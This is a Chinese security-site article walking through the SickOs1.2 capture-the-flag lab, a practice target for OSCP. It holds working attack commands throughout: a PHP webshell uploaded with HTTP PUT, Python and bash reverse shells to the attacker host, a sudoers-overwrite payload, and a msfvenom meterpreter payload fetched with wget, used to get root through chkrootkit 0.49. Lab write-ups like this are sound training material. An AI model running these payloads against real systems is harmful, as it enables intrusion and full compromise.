freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

技术分享:红队渗透测试项目之SickOs1.2
2023-01-05 15:16:23
所属地 江西省

简介

该项目是D4rk作者精心制作的项目环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到 信息收集 -> 端口信息枚举 -> Webshell(两种方法)-> 内网信息枚举 -> 提权(三种方法),最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

202209141343189.png

本机IP为:192.168.40.138。

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

202209141343190.png

发现项目IP:192.168.40.160。

2、nmap全端口服务枚举

进行namp全端口服务枚举:

nmap -sS -sV -A -T5 192.168.40.160

202209141343191.png

得到开放的端口信息:

22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    lighttpd 1.4.28

开启了两个端口22和80,就从web页面信息枚举ssh登录!

二、端口信息枚举

1、web页面信息枚举

访问web页面并查看其源码信息:

http://192.168.40.160/

202209141343192.png

主页仅仅提供一张图片,图片中隐写查看也没有可利用信息,查看静态源码提示:这里没有什么信息!

2、dirb目录爆破

用dirb对web目录进行爆破:

dirb http://192.168.40.160/

202209141343193.png

发现 http://192.168.40.160/test/目录信息,深入枚举!

2、Lighttpd信息枚举

Lighttpd是一个德国人领导的开源软件,其根本的目的是提供一个专门针对高性能网站,安全、快速、兼容性好并且灵活的web server环境;具有非常低的内存开销,cpu占用率低,效能好,以及丰富的模块等特点。

访问该路径:

http://192.168.40.160/test/

202209141343194.png

存在Parent Directory/文件目录,点击又跳到了图片处!发现左下角图示:lighttpd/1.4.28。

3、burpsuite抓包探测

HTTP请求方法并不是只有GET和POST,只是最常用的。据RFC2616标准(现行的HTTP/1.1)得知,通常有以下8种方法:OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE和CONNECT。

用OPTIONS查看下支持用的方法:

curl -v -X OPTIONS http://192.168.40.160/test
-v   ---列出详细的信息
-X   ---指定请求OPTIONS选项信息

202209141343195.png

回显如下信息:

< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

这里提示允许使用这些命令:“PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK”。

用burpsuite测试put请求:

202209141343196.png

发现可以请求上传成功!

三、Webshell--两种方法

方法1:一句话触发反弹shell

1、用curl写入PHP一句话脚本,并利用PUT上传至web目录页面:

curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.40.160/test/shell.php

202209141343197.png

成功上传!

2、验证是否上传成功:

202209141343198.png

上传成功!

3、页面执行命令:

http://192.168.40.160/test/shell.php?cmd=id

202209141343199.png

成功执行命令,那么我们可以利用执行反弹shell至本地!

4、反弹shell

本地开启监听,页面执行shell命令:

nc -vlp 6677
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.138",6677));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

202209141343200.png

发现没回显信息,判断防火墙做了端口限制,思考防火墙开启哪些端口可以利用。

方法2:利用weevely 拿shell

weevely 是一款用 Python语言编写的针对PHP平台的WebShell 。其主要功能如下:

执行命令和测览远程文件。
 检测常见的服务器配置问题。
 创建TCP Shell和Reverse Shell,
 打扫描端口。
 安装HTTP代理。

1、利用weevely 生成PHP文件:

weevely generate passtest test.php

202209141343201.png

成功生成test.php脚本,密码为test。

2、用curl把文件上传至项目机:

curl --upload-file test.php -v --url http://192.168.40.160/test/test.php -0
--upload-file   ---上传
-0              ---因为要接入http1.0或者http2,-0是自动会选择!

202209141343202.png

成功上传test.php脚本。

3、验证是否上传成功:

http://192.168.40.160/test

202209141343203.png

发现成功上传!

4、weevely执行脚本:

weevely http://192.168.40.160/test/test.php passtest

202209141343204.png

成功获得反弹shell!

四、内网信息枚举

1、linpeas.sh信息枚举

利用curl上传扫描脚本linpeas.sh:

curl --upload-file linpeas.sh -v --url http://192.168.40.160/test/linpeas.sh -0

202209141343205.png

202209141343206.png

上传成功!

赋权并执行扫描脚本:

chmod +x linpeas.sh
./linpeas.sh

202209141343207.png

202209141343208.png

202209141343209.png

发现3个可利用信息:

Linux version 3.11.0-15-generic   ---内核提权
Sudo version 1.8.3p1   ---可能存在sudo溢出提权
john:x:1000:1000:Ubuntu 12.x,,,:/home/john:/bin/bash 
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)  
 ---sudo权限提升

2、计划任务枚举

查找下是否存在计划任务:

find / -name cron* 2>/dev/null

202209141343210.png

202209141343211.png

发现etc/crontab 文件。

查看文件信息:

cat /etc/crontab

202209141343212.png

发现这三个目录下存在计划任务:

/etc/cron.daily
/etc/cron.weekly
/etc/cron.monthly

可参考文章:https://blog.csdn.net/jixieyang3701/article/details/79410725

4、目录信息枚举

枚举/etc/cron.daily目录信息:

cd /etc/cron.daily
ls

202209141343213.png

发现存在:chkrootkit。

Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程、网络、链接、端口等信息。Rootkit可通过加载特殊的驱动修改系统内核,进而达到隐藏信息的目的。Rootkit的三要素就是:隐藏、操纵、收集数据。

Rootkit具有隐身功能,无论静止时作为文件存在,还是活动时作为进程存在,都不会被察觉,它可能永远存在于计算机中。

3、Chkrootkit软件枚举

Chkrootkit是一款用来检测rootkit的软件,运行环境为linux,可以直接通过http://www.chkrootkit.org/download/地址来下载,随后进行解压缩。

查找有无安装Chkrootkit软件:

find / -name chkrootkit 2>/dev/null

202209141343214.png

202209141343215.png

发现目录:

/usr/sbin/chkrootkit     ---配置信息
/etc/cron.daily/chkrootkit   ---环境变量信息

该环境是存在Chkrootkit!

查看chkrootkit版本:

chkrootkit -V

202209141343216.png

发现是chkrootkit version 0.49版本。

4、漏洞搜索

搜索chkrootkit可利用漏洞并下载至本地:

searchsploit chkrootkit 0.49
locate linux/local/33899.txt
cp /usr/share/exploitdb/exploits/linux/local/33899.txt .

202209141343217.png

发现33899.txt文本,并下载至本地。

分析文件:

cat 33899.txt

202209141343218.png

33899 exp文件中说:

“file_port

SLAPPER_FILES中指定的所有文件作为chkrootkit用户进行执行命令(通常是root),原因是file_port是空的,因为在变量赋值周围缺少引号!

接着利用chkrootkit获得root权限!

五、提权--三种方法

将update可执行文件放在/tmp中,运行chkrootkit,文件/tmp/update将以root身份被执行!

方法1:chkrootkit提权

1、到tmp目录下生成update可执行文件的一句话:

cd /tmp
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.40.138/443 0>&1\n' >> /tmp/update
cat update

202209141343219.png

写入成功!

2、给update赋权执行,获得反弹shell:

chmod 777 /tmp/update
nc -nlvp 443

202209141343220.png

成功反弹root权限shell!

3、获得flag:

ls
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

202209141343221.png

成功获得flag!

方法2:写入sudo权限提权

1、将sudo权限写入www-data用户:

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

202209141343222.png

写入成功!

2、给update赋权

chmod +x /tmp/update

202209141343223.png

3、查看权限执行sudo

ls -la /etc/sudoers   ---过几分钟查看
sudo su          ----成功获得root权限

202209141343224.png

成功获得root权限用户!

方法3:MSF生成payload反弹shell

使用msfvenom生成payload,配合msfconsole,触发服务器端反弹TCP,得到一个meterpreter的shell。

1、利用msf在本地生成elf脚本:

msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=192.168.40.138 LPORT=443 -o test.elf

202209141343225.png

成功生成test.elf脚本。

2、利用reverse_tcp并配置参数 :

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.40.138
exploit -j

202209141343226.png

成功建立TCP服务。

3、开启http服务下载脚本至项目机:

python -m SimpleHTTPServer 8080
wget http://192.168.40.138:8080/test.elf

202209141343227.png

上传成功!

4、更改脚本名并赋权执行:

mv test.elf /tmp/update
chmod +x update

202209141343228.png

脚本更改为update成功,等待msf上线!

5、获得flag:

sessions -l
pwd
ls
cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

202209141343229.png

msf成功上线,并获得flag!

6、防火墙规则查看

cat newRule

202209141343230.png

发现只有端口22、80、443、8080允许通过防火墙!

对于入站流量:只接收22、80目的端口,8080、443源端口

对于出站流量:只接收22、80源端口,8080、443目的端口

即,本地端口只允许22和80,外来端口只允许8080和443,用来保证对外部HTTP(s)服务的正常访问

由此,可利用这一点,监听443端口来接收反弹shell!

六、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap信息枚举、Web页面信息枚举、dirb目录爆破、burpsuite抓包探测、一句话触发反弹shell、weevely拿shell、计划任务枚举、chkrootkit提权、写入sudo权限提权、msf生成payload反弹shell等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七

# 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录